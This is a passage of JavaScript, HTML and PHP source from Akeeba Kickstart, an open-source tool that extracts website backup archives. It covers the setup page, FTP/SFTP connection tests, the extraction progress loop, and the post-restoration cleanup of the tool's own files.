				}
				else
				{
					encodedString += encodeURIComponent(prefix) + "[" + encodeURIComponent(prop) + "]=" + encodeURIComponent(object[prop]);
				}

				continue;
			}

			// Objects need special handling
			encodedString += akeeba.Ajax.interpolateParameters(object[prop], prop);
		}
	}
	return encodedString;
};

/**
 * Goes through a list of callbacks and calls them in succession. Accepts a variable number of arguments.
 */
akeeba.Ajax.triggerCallbacks = function ()
{
	// converts arguments to real array
	var args         = Array.prototype.slice.call(arguments);
	var callbackList = args.shift();

	if (typeof(callbackList) === "function")
	{
		return callbackList.apply(null, args);
	}

	if (callbackList instanceof Array)
	{
		for (var i = 0; i < callbackList.length; i++)
		{
			var callBack = callbackList[i];

			if (callBack.apply(null, args) === false)
			{
				return false;
			}
		}
	}

	return null;
};

/**
 * This helper function triggers the request queue processing using a short (50 msec) timer. This prevents a long
 * function nesting which could cause some browser to abort processing.
 *
 * @access  private
 */
akeeba.Ajax.processQueueHelper = function ()
{
	akeeba.Ajax.processingQueue = false;

	setTimeout("akeeba.Ajax.processQueue();", 50);
};

/**
 * Processes the request queue
 *
 * @access  private
 */
akeeba.Ajax.processQueue = function ()
{
	// If I don't have any more requests reset and return
	if (!akeeba.Ajax.requestArray.length)
	{
		akeeba.Ajax.processingQueue = false;
		return;
	}

	// If I am already processing an AJAX request do nothing (I will be called again when the request completes)
	if (akeeba.Ajax.processingQueue)
	{
		return;
	}

	// Extract the URL from the parameters
	var parameters = akeeba.Ajax.requestArray.shift();
	var url        = parameters.url;

	/**
	 * Add our queue processing helper to the top of the success and error callback function stacks, ensuring that we
	 * will process the next request in the queue as soon as the previous one completes (successfully or not)
	 */
	var successCallback = (typeof(parameters.success) === "undefined") ? [] : parameters.success;
	var errorCallback   = (typeof(parameters.error) === "undefined") ? [] : parameters.error;

	if ((typeof(successCallback) !== "object") || !(successCallback instanceof Array))
	{
		successCallback = [successCallback];
	}

	if ((typeof(errorCallback) !== "object") || !(errorCallback instanceof Array))
	{
		errorCallback = [errorCallback];
	}

	successCallback.unshift(akeeba.Ajax.processQueueHelper);
	errorCallback.unshift(akeeba.Ajax.processQueueHelper);

	parameters.success = successCallback;
	parameters.error   = errorCallback;

	// Mark the queue as currently being processed, blocking further requests until this one completes
	akeeba.Ajax.processingQueue = true;

	// Perform the actual request
	akeeba.Ajax.ajax(url, parameters);
};


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function translateGUI()
{
	var allElements = document.querySelectorAll('*');

	for (var i = 0; i < allElements.length; i++)
	{
		var e = allElements[i];

		if (typeof e.innerHTML === "undefined")
		{
			continue;
		}

		transKey = e.innerHTML;

		if (!array_key_exists(transKey, translation))
		{
			continue;
		}

		e.innerHTML = translation[transKey];
	}
}

function trans(key)
{
	if (array_key_exists(key, translation))
	{
		return translation[key];
	}

	return key;
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

var akeeba_error_callback            = onGenericError;
var akeeba_restoration_stat_inbytes  = 0;
var akeeba_restoration_stat_outbytes = 0;
var akeeba_restoration_stat_files    = 0;
var akeeba_restoration_stat_total    = 0;
var akeeba_factory                   = null;
var akeeba_next_step_post            = null;

var akeeba_ftpbrowser_modal     = null;
var akeeba_ftpbrowser_host      = null;
var akeeba_ftpbrowser_port      = 21;
var akeeba_ftpbrowser_username  = null;
var akeeba_ftpbrowser_password  = null;
var akeeba_ftpbrowser_passive   = 1;
var akeeba_ftpbrowser_ssl       = 0;
var akeeba_ftpbrowser_directory = "";

var akeeba_sftpbrowser_host      = null;
var akeeba_sftpbrowser_port      = 21;
var akeeba_sftpbrowser_username  = null;
var akeeba_sftpbrowser_password  = null;
var akeeba_sftpbrowser_pubkey    = null;
var akeeba_sftpbrowser_privkey   = null;
var akeeba_sftpbrowser_directory = "";

akeeba.System.documentReady(function () {
	// Hide 2nd Page
	document.getElementById("page2").style.display = "none";

	// Translate the GUI
	translateGUI();

	// Hook interaction handlers
	akeeba.System.addEventListener(document, "keyup", closeLightbox);
	akeeba.System.addEventListener(document.getElementById("kickstart.procengine"), "change", onChangeProcengine);
	akeeba.System.addEventListener(document.getElementById("kickstart.setup.sourcepath"), "change", onArchiveListReload);
	akeeba.System.addEventListener(document.getElementById("reloadArchives"), "click", onArchiveListReload);
	akeeba.System.addEventListener(document.getElementById("checkFTPTempDir"), "click", oncheckFTPTempDirClick);
	akeeba.System.addEventListener(document.getElementById("resetFTPTempDir"), "click", onresetFTPTempDir);
	akeeba.System.addEventListener(document.getElementById("testFTP"), "click", onTestFTPClick);
	akeeba.System.addEventListener(document.getElementById("gobutton_top"), "click", onStartExtraction);
	akeeba.System.addEventListener(document.getElementById("gobutton"), "click", onStartExtraction);
	akeeba.System.addEventListener(document.getElementById("gobutton"), "click", onStartExtraction);
	akeeba.System.addEventListener(document.getElementById("runCleanup"), "click", onRunCleanupClick);
	akeeba.System.addEventListener(document.getElementById("runInstaller"), "click", onRunInstallerClick);
	akeeba.System.addEventListener(document.getElementById("gotoStart"), "click", onGotoStartClick);
	akeeba.System.addEventListener(document.getElementById("retry"), "click", onRetryClick);

	akeeba.System.addEventListener(document.getElementById("gotoSite"), "click", function (event)
	{
		window.open("index.php", "finalstepsite");
		window.close();
	});

	akeeba.System.addEventListener(document.getElementById("gotoAdministrator"), "click", function (event)
	{
		window.open("administrator/index.php", "finalstepadmin");
		window.close();
	});

	// Reset the progress bar
	setProgressBar(0);

	if (!akeeba_debug)
	{
		document.getElementById("preextraction").style.display = "block";
		document.getElementById("fade").style.display          = "block";
	}

	// Trigger change, so we avoid problems if the user refreshes the page
	onChangeProcengine();

	akeeba.System.triggerEvent(document.getElementById("kickstart.procengine", "change"));
});


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Generic error handler
 *
 * @param   {string}  msg  Error message to display
 */
function onGenericError(msg)
{
	document.getElementById("genericerrorInner").innerHTML = msg;
	document.getElementById("genericerror").style.display  = "block";
	document.getElementById("fade").style.display          = "block";

	akeeba.System.addEventListener(document, "keyup", closeLightbox());
}

/**
 * Set the progress bar to a specific percentage
 *
 * @param   {int}  percent  Percentage (or float 0.0 to 1.0) to display in the progress bar.
 */
function setProgressBar(percent)
{
	var newValue = percent;

	if (percent <= 1)
	{
		newValue = 100 * percent;
	}

	document.getElementById("progressbar-inner").style.width = newValue + "%";
}

/**
 * Close the lightbox
 *
 * @param   {KeyboardEvent|MouseEvent}  event
 */
function closeLightbox(event)
{
	var closeMe = false;

	if ((event == null) || (event === undefined))
	{
		closeMe = true;
	}
	else if (event.keyCode == "27")
	{
		closeMe = true;
	}

	if (!closeMe)
	{
		return;
	}

	document.getElementById("preextraction").style.display = "none";
	document.getElementById("genericerror").style.display  = "none";
	document.getElementById("fade").style.display          = "none";

	akeeba.System.removeEventListener(document, "keyup", closeLightbox);
}


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Event handler for changing the Archive directory.
 */
function onArchiveListReload()
{
	post = {
		'task': 'listArchives',
		'json': JSON.stringify({
			path: document.getElementById('kickstart\.setup\.sourcepath').value
		})
	};

	akeeba.System.doAjax(post, function (ret)
	{
		document.getElementById('sourcefileContainer').innerHTML = ret;
	});
}

/**
 * Event handler for switching the Write To File method
 *
 * @param   {Event}  event
 */
function onChangeProcengine(event)
{
	var elProcEngine = document.getElementById("kickstart.procengine");
	var procEngine   = elProcEngine.value;
	var elFtpOptions = document.getElementById("ftp-options");
	var elPassive    = document.getElementById("ftp-ssl-passive");
	var elTestBtn    = document.getElementById("testFTP");

	// Only hide the (S)FTP options when using direct file writes
	elFtpOptions.style.display = (procEngine === "direct") ? "none" : "block";

	// Set up the interface for a plain FTP or Hybrid extraction engine
	elPassive.style.display = "block";
	elTestBtn.innerHTML     = trans("BTN_TESTFTPCON");

	// If the SFTP engine is selected I need to make some interface changes
	if (procEngine === "sftp")
	{
		// Insert the SFTP path if none is currently specified
		var elFtpDir = document.getElementById("kickstart.ftp.dir");

		if (elFtpDir.value === "")
		{
			elFtpDir.value = sftp_path;
		}

		// Hide the passive mode (it's an FTP-only thing) and change the button label.
		elPassive.style.display = "none";
		elTestBtn.innerHTML     = trans("BTN_TESTSFTPCON");
	}
}

/**
 * Event handler for the Check button next to the Temporary Directory
 *
 * @param   {MouseEvent}  event
 */
function oncheckFTPTempDirClick(event)
{
	var data = {
		'task': 'checkTempdir',
		'json': JSON.stringify({
			'kickstart.ftp.tempdir': document.getElementById('kickstart\.ftp.tempdir').value
		})
	};

	akeeba.System.doAjax(data, function (ret)
	{
		var key = ret.status ? 'FTP_TEMPDIR_WRITABLE' : 'FTP_TEMPDIR_UNWRITABLE';

		alert(trans(key));
	});
}

/**
 * Event handler for the Reset button next to the Temporary Directory
 *
 * @param   {MouseEvent}  event
 */
function onresetFTPTempDir(event)
{
	document.getElementById('kickstart\.ftp\.tempdir').value = default_temp_dir;
}

/**
 * Event handler for the Test FTP Connection button
 *
 * @param   {MouseEvent}  event
 */
function onTestFTPClick(event)
{
	var type = 'ftp';

	if (document.getElementById('kickstart.procengine').value === 'sftp')
	{
		type = 'sftp';
	}

	var data = {
		'task': 'checkFTP',
		'json': JSON.stringify({
			'type':                  type,
			'kickstart.ftp.host':    document.getElementById('kickstart.ftp.host').value,
			'kickstart.ftp.port':    document.getElementById('kickstart.ftp.port').value,
			'kickstart.ftp.ssl':     document.getElementById('kickstart.ftp.ssl').checked,
			'kickstart.ftp.passive': document.getElementById('kickstart.ftp.passive').checked,
			'kickstart.ftp.user':    document.getElementById('kickstart.ftp.user').value,
			'kickstart.ftp.pass':    document.getElementById('kickstart.ftp.pass').value,
			'kickstart.ftp.dir':     document.getElementById('kickstart.ftp.dir').value,
			'kickstart.ftp.tempdir': document.getElementById('kickstart.ftp.tempdir').value
		})
	};

	akeeba.System.doAjax(data, function (ret)
	{
		var key = ret.status ? 'FTP_CONNECTION_OK' : 'FTP_CONNECTION_FAILURE';

		if (type === 'sftp')
		{
			key = ret.status ? 'SFTP_CONNECTION_OK' : 'SFTP_CONNECTION_FAILURE';
		}


		alert(trans(key) + "\n\n" + (ret.status ? '' : ret.message));
	});
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Generic error handler
 *
 * @param   {string}  msg  The error message to display
 */
function errorHandler(msg)
{
	document.getElementById("errorMessage").innerHTML = msg;
	document.getElementById("error").style.display    = "block";
}

function onRetryClick(){
	document.getElementById("errorMessage").innerHTML = "";
	document.getElementById("error").style.display    = "none";

	setTimeout(runNextExtractionStep, 10);
}

/**
 * Initialize the archive extraction
 */
function onStartExtraction()
{
	document.getElementById("page1").style.display   = "none";
	document.getElementById("page2").style.display   = "block";
	document.getElementById("currentFile").innerText = "";

	akeeba_error_callback = errorHandler;

	var zapBefore = 0;
	var elZap     = document.getElementById("kickstart\.setup\.zapbefore");

	if (elZap !== null)
	{
		zapBefore = elZap.checked;
	}

	var elRestorePermissions = document.getElementById("kickstart\.setup\.restoreperms");
	var restorePermissions   = false;

	if (elRestorePermissions !== null)
	{
		elRestorePermissions.checked;
	}

	akeeba_next_step_post = {
		"task": "startExtracting",
		"json": JSON.stringify({
			"kickstart.setup.sourcepath": document.getElementById("kickstart\.setup\.sourcepath").value,
			"kickstart.setup.sourcefile": document.getElementById("kickstart\.setup\.sourcefile").value,
			"kickstart.jps.password": document.getElementById("kickstart\.jps\.password").value,
			"kickstart.tuning.min_exec_time": document.getElementById("kickstart\.tuning\.min_exec_time").value,
			"kickstart.tuning.max_exec_time": document.getElementById("kickstart\.tuning\.max_exec_time").value,
			"kickstart.stealth.enable": document.getElementById("kickstart\.stealth\.enable").checked,
			"kickstart.stealth.url": document.getElementById("kickstart\.stealth\.url").value,
			"kickstart.setup.zapbefore": zapBefore,
			"kickstart.tuning.run_time_bias": 75,
			"kickstart.setup.restoreperms": restorePermissions,
			"kickstart.setup.dryrun": 0,
			"kickstart.setup.ignoreerrors": document.getElementById("kickstart\.setup\.ignoreerrors").checked,
			"kickstart.enabled": 1,
			"kickstart.security.password": "",
			"kickstart.setup.renameback": document.getElementById("kickstart\.setup\.renameback").checked,
			"kickstart.procengine": document.getElementById("kickstart\.procengine").value,
			"kickstart.ftp.host": document.getElementById("kickstart\.ftp\.host").value,
			"kickstart.ftp.port": document.getElementById("kickstart\.ftp\.port").value,
			"kickstart.ftp.ssl": document.getElementById("kickstart\.ftp\.ssl").checked,
			"kickstart.ftp.passive": document.getElementById("kickstart\.ftp\.passive").checked,
			"kickstart.ftp.user": document.getElementById("kickstart\.ftp\.user").value,
			"kickstart.ftp.pass": document.getElementById("kickstart\.ftp\.pass").value,
			"kickstart.ftp.dir": document.getElementById("kickstart\.ftp\.dir").value,
			"kickstart.ftp.tempdir": document.getElementById("kickstart\.ftp\.tempdir").value,
			"kickstart.setup.extract_list": document.getElementById("kickstart\.setup\.extract_list").value
		})
	};

	setTimeout(runNextExtractionStep, 10);
}

/**
 * Runs an extraction step.
 *
 * We call it through setTimeout to avoid crashing the JS due to stack exhaustion after a long list of chained function
 * calls.
 */
function runNextExtractionStep()
{
	akeeba.System.doAjax(akeeba_next_step_post,
		function (ret){
			processRestorationStep(ret);
		},
		function (){
			errorHandler("An unexpected error occurred");
		});
}

/**
 * AJAX callback whenever a restoration step runs
 *
 * @param   {object}  data
 */
function processRestorationStep(data)
{
	// Look for errors
	if (!data.status)
	{
		errorHandler(data.message);

		return;
	}

	// Propagate warnings to the GUI
	if (!empty(data.Warnings))
	{
		var elWarnings    = document.getElementById("warnings");
		var elWarningsBox = document.getElementById("warningsBox");

		for (var i = 0; i < data.Warnings.length; i++)
		{
			var item         = data.Warnings[i];
			var elWarningRow = document.createElement("div");

			elWarningRow.innerHTML = item;
			elWarnings.appendChild(elWarningRow);
			elWarningsBox.style.display = "block";
		}
	}

	// Parse total size, if exists
	if (array_key_exists("totalsize", data))
	{
		if (is_array(data.filelist))
		{
			akeeba_restoration_stat_total = 0;

			for (var j = 0; j < data.filelist.length; j++)
			{
				var statItem = data.filelist[j];
				akeeba_restoration_stat_total += statItem[1];
			}
		}

		akeeba_restoration_stat_outbytes = 0;
		akeeba_restoration_stat_inbytes  = 0;
		akeeba_restoration_stat_files    = 0;
	}

	// Update GUI
	akeeba_restoration_stat_inbytes += data.bytesIn;
	akeeba_restoration_stat_outbytes += data.bytesOut;
	akeeba_restoration_stat_files += data.files;

	var percentage = 0;

	if (akeeba_restoration_stat_total > 0)
	{
		percentage = 100 * akeeba_restoration_stat_inbytes / akeeba_restoration_stat_total;
		percentage = Math.max(0, percentage);
		percentage = Math.min(percentage, 100);
	}

	if (data.done)
	{
		percentage = 100;
	}

	setProgressBar(percentage);

	document.getElementById("currentFile").innerText = data.lastfile;

	if (!empty(data.factory))
	{
		akeeba_factory = data.factory;
	}

	if (!data.done)
	{
		akeeba_next_step_post = {
			"task": "continueExtracting",
			"json": JSON.stringify({factory: akeeba_factory})
		};

		setTimeout(runNextExtractionStep, 10);

		return;
	}

	document.getElementById("page2a").style.display             = "none";
	document.getElementById("extractionComplete").style.display = "block";
	document.getElementById("runInstaller").style.display       = "inline-block";
}


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function onGotoStartClick(event)
{
	document.getElementById("page2").style.display = "none";
	document.getElementById("error").style.display = "none";
	document.getElementById("page1").style.display = "block";
}

function onRunInstallerClick(event)
{
	var windowReference = window.open("installation/index.php", "installer");

	if (!windowReference.opener)
	{
		windowReference.opener = this.window;
	}

	document.getElementById("runCleanup").style.display   = "inline-block";
	document.getElementById("runInstaller").style.display = "none";
}

function onRunCleanupClick(event)
{
	post = {
		"task": "isJoomla",
		// Passing the factory preserves the renamed files array
		"json": JSON.stringify({factory: akeeba_factory})
	};

	akeeba.System.doAjax(post, function (ret)
	{
		isJoomla = ret;
		onRealRunCleanupClick();
	});
}

function onRealRunCleanupClick()
{
	post = {
		"task": "cleanUp",
		// Passing the factory preserves the renamed files array
		"json": JSON.stringify({factory: akeeba_factory})
	};

	akeeba.System.doAjax(post, function (ret)
	{
		document.getElementById("runCleanup").style.display                         = "none";
		document.getElementById("gotoSite").style.display                           = "inline-block";
		document.getElementById("gotoAdministrator").style.display                  = "none";
		document.getElementById("gotoPostRestorationRroubleshooting").style.display = "block";

		if (isJoomla)
		{
			document.getElementById("gotoAdministrator").style.display = "inline-block";
		}
	});
}



		<?php callExtraFeature('onExtraHeadJavascript'); ?>
    </script>
	<?php
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function echoTranslationStrings()
{
	callExtraFeature('onLoadTranslations');
	$translation = AKText::getInstance();
	echo $translation->asJavascript();
}

function echoPage()
{
	$edition         = KICKSTARTPRO ? 'Professional' : 'Core';
	$bestArchivePath = AKKickstartUtils::getBestArchivePath();
	$filelist        = AKKickstartUtils::getArchivesAsOptions($bestArchivePath);
	?>
	<!DOCTYPE html>
	<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<title>Akeeba Kickstart <?php echo $edition ?> <?php echo VERSION ?></title>
		<style type="text/css" media="all" rel="stylesheet">
			<?php echoCSS();?>
		</style>
		<?php echoHeadJavascript(); ?>
	</head>
	<body>

	<div id="fade" class="black_overlay"></div>

	<div id="page-container">

		<div id="preextraction" class="white_content">
			<h2>THINGS_HEADER</h2>
			<ol>
				<li>THINGS_01</li>
				<li>THINGS_03</li>
				<li>THINGS_04</li>
				<li>THINGS_05</li>
				<li>THINGS_06</li>
				<li>THINGS_07</li>
				<li>THINGS_08</li>
				<li>THINGS_09</li>
			</ol>
			<a href="javascript:void(0)" onclick="closeLightbox();">CLOSE_LIGHTBOX</a>
		</div>

		<div id="genericerror" class="white_content">
			<pre id="genericerrorInner"></pre>
		</div>

		<div id="header">
			<div class="title">
				<span id="logo" alt="Akeeba Kickstart logo"></span>
				Akeeba Kickstart <?php echo $edition ?> <?php echo defined('VERSION') ? VERSION : '8.0.2-dev202307211217-revb86be29' ?>
			</div>
		</div>

		<div id="page1">
			<?php callExtraFeature('onPage1'); ?>

			<div id="page1-content">

				<div class="helpme">
					<span>NEEDSOMEHELPKS</span> <a
						href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/using-kickstart.html"
						target="_blank">QUICKSTART</a>
				</div>

				<div class="step1">
					<div class="circle">1</div>
					<h2>SELECT_ARCHIVE</h2>
					<div class="area-container">
						<?php callExtraFeature('onPage1Step1'); ?>
						<div class="clr"></div>

						<label for="kickstart.setup.sourcepath">ARCHIVE_DIRECTORY</label>
			<span class="field">
				<input type="text" id="kickstart.setup.sourcepath"
				       value="<?php echo htmlentities($bestArchivePath); ?>"/>
				<span class="button" id="reloadArchives" style="margin-top:0;margin-bottom:0">RELOAD_ARCHIVES</span>
			</span>
						<br/>

						<label for="kickstart.setup.sourcefile">ARCHIVE_FILE</label>
			<span class="field" id="sourcefileContainer">
				<?php if (!empty($filelist)): ?>
					<select id="kickstart.setup.sourcefile">
						<?php echo $filelist; ?>
					</select>
				<?php else: ?>
					<a href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/ksnoarchives.html"
					   target="_blank">NOARCHIVESCLICKHERE</a>
				<?php endif; ?>
			</span>
						<br/>
						<label for="kickstart.jps.password">JPS_PASSWORD</label>
						<span class="field"><input type="password" id="kickstart.jps.password" value=""/></span>
					</div>
                    <div class="area-container">
                        <label for="gobutton_top"></label>
                        <span id="gobutton_top" class="button" style="padding: 0.5em 2em; margin: 0;">BTN_START</span>
                    </div>
                </div>

				<div class="clr"></div>

				<div class="step2">
					<div class="circle">2</div>
					<h2>SELECT_EXTRACTION</h2>
					<div class="area-container">
						<label for="kickstart.procengine">WRITE_TO_FILES</label>
			<span class="field">
				<select id="kickstart.procengine">
					<option value="direct">WRITE_DIRECTLY</option>
					<option value="hybrid">WRITE_HYBRID</option>
					<option value="ftp">WRITE_FTP</option>
					<option value="sftp">WRITE_SFTP</option>
				</select>
			</span><br/>

						<label for="kickstart.setup.ignoreerrors">IGNORE_MOST_ERRORS</label>
						<span class="field"><input type="checkbox" id="kickstart.setup.ignoreerrors"/></span>

						<div id="ftp-options">
							<label for="kickstart.ftp.host">FTP_HOST</label>
							<span class="field"><input type="text" id="kickstart.ftp.host"
							                           value="localhost"/></span><br/>
							<label for="kickstart.ftp.port">FTP_PORT</label>
							<span class="field"><input type="text" id="kickstart.ftp.port" value="21"/></span><br/>
							<div id="ftp-ssl-passive">
								<label for="kickstart.ftp.ssl">FTP_FTPS</label>
								<span class="field"><input type="checkbox" id="kickstart.ftp.ssl"/></span><br/>
								<label for="kickstart.ftp.passive">FTP_PASSIVE</label>
								<span class="field"><input type="checkbox" id="kickstart.ftp.passive"
								                           checked="checked"/></span><br/>
							</div>
							<label for="kickstart.ftp.user">FTP_USER</label>
							<span class="field"><input type="text" id="kickstart.ftp.user" value=""/></span><br/>
							<label for="kickstart.ftp.pass">FTP_PASS</label>
							<span class="field"><input type="password" id="kickstart.ftp.pass" value=""/></span><br/>
							<label for="kickstart.ftp.dir">FTP_DIR</label>
				<span class="field">
                    <input type="text" id="kickstart.ftp.dir" value=""/>
                    <?php //<span class="button" id="browseFTP" style="margin-top:0;margin-bottom:0">FTP_BROWSE</span> ?>
                </span><br/>

							<label for="kickstart.ftp.tempdir">FTP_TEMPDIR</label>
				<span class="field">
					<input type="text" id="kickstart.ftp.tempdir"
					       value="<?php echo htmlentities(AKKickstartUtils::getTemporaryPath()) ?>"/>
					<span class="button" id="checkFTPTempDir">BTN_CHECK</span>
					<span class="button" id="resetFTPTempDir">BTN_RESET</span>
				</span><br/>
							<label></label>
							<span class="button" id="testFTP">BTN_TESTFTPCON</span>
							<a id="notWorking" class="button"
							   href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/kscantextract.html"
							   target="_blank">CANTGETITTOWORK</a>
							<br/>
						</div>

					</div>
				</div>

				<div class="clr"></div>

				<div class="step3">
					<div class="circle">3</div>
					<h2>FINE_TUNE</h2>
					<div id="fine-tune-holder" class="area-container">
						<label for="kickstart.tuning.min_exec_time">MIN_EXEC_TIME</label>
						<span class="field"><input type="text" id="kickstart.tuning.min_exec_time" value="1"/></span>
						<span>SECONDS_PER_STEP</span><br/>
						<label for="kickstart.tuning.max_exec_time">MAX_EXEC_TIME</label>
						<span class="field"><input type="text" id="kickstart.tuning.max_exec_time" value="5"/></span>
						<span>SECONDS_PER_STEP</span><br/>
                        <div class="help">TIME_SETTINGS_HELP</div>

						<label for="kickstart.stealth.enable">STEALTH_MODE</label>
						<span class="field"><input type="checkbox" id="kickstart.stealth.enable"/></span><br/>
						<label for="kickstart.stealth.url">STEALTH_URL</label>
						<span class="field"><input type="text" id="kickstart.stealth.url" value="installation/offline.html"/></span><br/>
                        <div class="help">STEALTH_MODE_HELP</div>

                        <?php if (defined('KICKSTARTPRO') && KICKSTARTPRO): ?>
                        <label for="kickstart.setup.zapbefore">ZAPBEFORE</label>
                        <span class="field"><input type="checkbox" id="kickstart.setup.zapbefore"/></span><br/>
                        <div class="help">ZAPBEFORE_HELP</div>
                        <?php endif; ?>

                        <label for="kickstart.setup.renameback">RENAME_FILES</label>
						<span class="field"><input type="checkbox" id="kickstart.setup.renameback"
						                           checked="checked"/></span><br/>
                        <div class="help">RENAME_FILES_HELP</div>

						<label for="kickstart.setup.restoreperms">RESTORE_PERMISSIONS</label>
						<span class="field"><input type="checkbox" id="kickstart.setup.restoreperms"/></span><br/>
                        <div class="help">RESTORE_PERMISSIONS_HELP</div>

                        <label for="kickstart.setup.extract_list">EXTRACT_LIST</label>
                        <span class="field"><textarea class="monospaced" id="kickstart.setup.extract_list" rows="5" cols="50"></textarea></span><br/>
                        <div class="help">EXTRACT_LIST_HELP</div>
					</div>
				</div>

				<div class="clr"></div>

				<div class="step4">
					<div class="circle">4</div>
					<h2>EXTRACT_FILES</h2>
					<div class="area-container">
                        <label for="gobutton"></label>
						<span id="gobutton" class="button">BTN_START</span>
					</div>
                </div>

				<div class="clr"></div>

			</div>
		</div>

		<div id="page2">
			<div id="page2a">
				<div class="circle">5</div>
				<h2>EXTRACTING</h2>
				<div class="area-container">
					<div id="warn-not-close">DO_NOT_CLOSE_EXTRACT</div>
					<div id="progressbar">
						<div id="progressbar-inner">&nbsp;</div>
					</div>
					<div id="currentFile"></div>
				</div>
			</div>

			<div id="extractionComplete" style="display: none">
				<div class="circle">6</div>
				<h2>RESTACLEANUP</h2>
				<div id="runInstaller" class="button">BTN_RUNINSTALLER</div>
				<div id="runCleanup" class="button" style="display:none">BTN_CLEANUP</div>
				<div id="gotoSite" class="button" style="display:none">BTN_SITEFE</div>
				<div id="gotoAdministrator" class="button" style="display:none">BTN_SITEBE</div>
				<div id="gotoPostRestorationRroubleshooting" style="display:none">
					<a href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/post-restoration.html"
					   target="_blank">POSTRESTORATIONTROUBLESHOOTING</a>
				</div>
			</div>

			<div id="warningsBox" style="display: none;">
				<div id="warningsHeader">
					<h2>WARNINGS</h2>
				</div>
				<div id="warningsContainer">
					<div id="warnings"></div>
				</div>
			</div>

			<div id="error" style="display: none;">
				<h3>ERROR_OCCURED</h3>
				<p id="errorMessage"></p>
				<div id="gotoStart" class="button">BTN_GOTOSTART</div>
				<div id="retry" class="button bluebutton">BTN_RETRY</div>
				<div>
					<a href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/kscantextract.html" class="whitelink"
					   target="_blank">CANTGETITTOWORK</a>
				</div>
			</div>
		</div>

		<div id="footer">
			<div class="copyright">Copyright &copy; 2008&ndash;<?php echo date('Y'); ?> <a
					href="https://www.akeeba.com">Nicholas K.
					Dionysopoulos / Akeeba Ltd</a>. All legal rights reserved.<br/>

				This program is free software: you can redistribute it and/or modify it under the terms of
				the <a href="http://www.gnu.org/gpl-3.html">GNU General
					Public License</a> as published by the Free Software Foundation, either version 3 of the License,
				or (at your option) any later version.<br/>
			</div>
		</div>

	</div>

	</body>
	</html>
	<?php
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Clear the code caches for the extracted files. Used when finalizing the restoration.
 *
 * @return  void
 */
function clearCodeCaches()
{
	// Zend OPcache — No longer needed; we invalidate each .php file we delete, overwrite or create.
//	if (function_exists('opcache_reset'))
//	{
//		opcache_reset();
//	}

	// APC code cache
	if (function_exists('apc_clear_cache'))
	{
		@apc_clear_cache();
	}
}

/**
 * Removes all files pertaining to Kickstart.
 *
 * Using when finalizing the archive extraction from the web
 *
 * @param   AKAbstractPostproc   $postProc  The post-processing engine of Akeeba Restore in use
 */
function removeKickstartFiles(AKAbstractPostproc $postProc)
{
	// Remove self
	$postProc->unlink(basename(__FILE__));

	// Delete translations
	removeKickstartTranslationFiles($postProc);

	// Delete feature files
	deleteKickstartFeatureFiles($postProc);

	// Delete the temporary directory IF AND ONLY IF it's called "kicktemp"
	deleteKickstartTempDirectory($postProc);

	// Delete cacert.pem
	$postProc->unlink('cacert.pem');
}

/**
 * Remove feature files, e.g. kickstart.transfer.php
 *
 * @param AKAbstractPostproc $postProc
 *
 * @return void
 */
function deleteKickstartFeatureFiles(AKAbstractPostproc $postProc)
{
	$dh = opendir(AKKickstartUtils::getPath());

	if ($dh === false)
	{
		return;
	}

	$basename = basename(__FILE__, '.php');

	while (false !== $file = @readdir($dh))
	{
		if (
			(substr($file, 0, strlen($basename) + 1) == $basename . '.')
			&& (substr($file, -4) == '.php')
		)
		{
			$postProc->unlink($file);
		}
	}

	closedir($dh);
}

/**
 * Delete the temporary directory IF AND ONLY IF it's called "kicktemp"
 *
 * @param AKAbstractPostproc $postProc
 *
 * @return void
 */
function deleteKickstartTempDirectory(AKAbstractPostproc $postProc)
{
	$tempDir = $postProc->getTempDir();
	$tempDir = trim($tempDir);

	if (empty($tempDir))
	{
		return;
	}

	$basename = basename($tempDir);

	if (strtolower($basename) != 'kicktemp')
	{
		return;
	}

	recursive_remove_directory($tempDir);
}

/**
 * Delete language files, e.g. el-GR.kickstart.ini
 *
 * @param AKAbstractPostproc $postProc
 *
 * @return void
 */
function removeKickstartTranslationFiles(AKAbstractPostproc $postProc)
{
	$dh = opendir(AKKickstartUtils::getPath());

	if ($dh === false)
	{
		return;
	}

	$basename = basename(__FILE__, '.php');

	while (false !== $file = @readdir($dh))
	{
		if (strstr($file, $basename . '.ini'))
		{
			$postProc->unlink($file);
		}
	}

	closedir($dh);
}

/**
 * Finalization after the restoration. Removes the installation directory, the backup archive and rolls back automatic
 * file renames.
 *
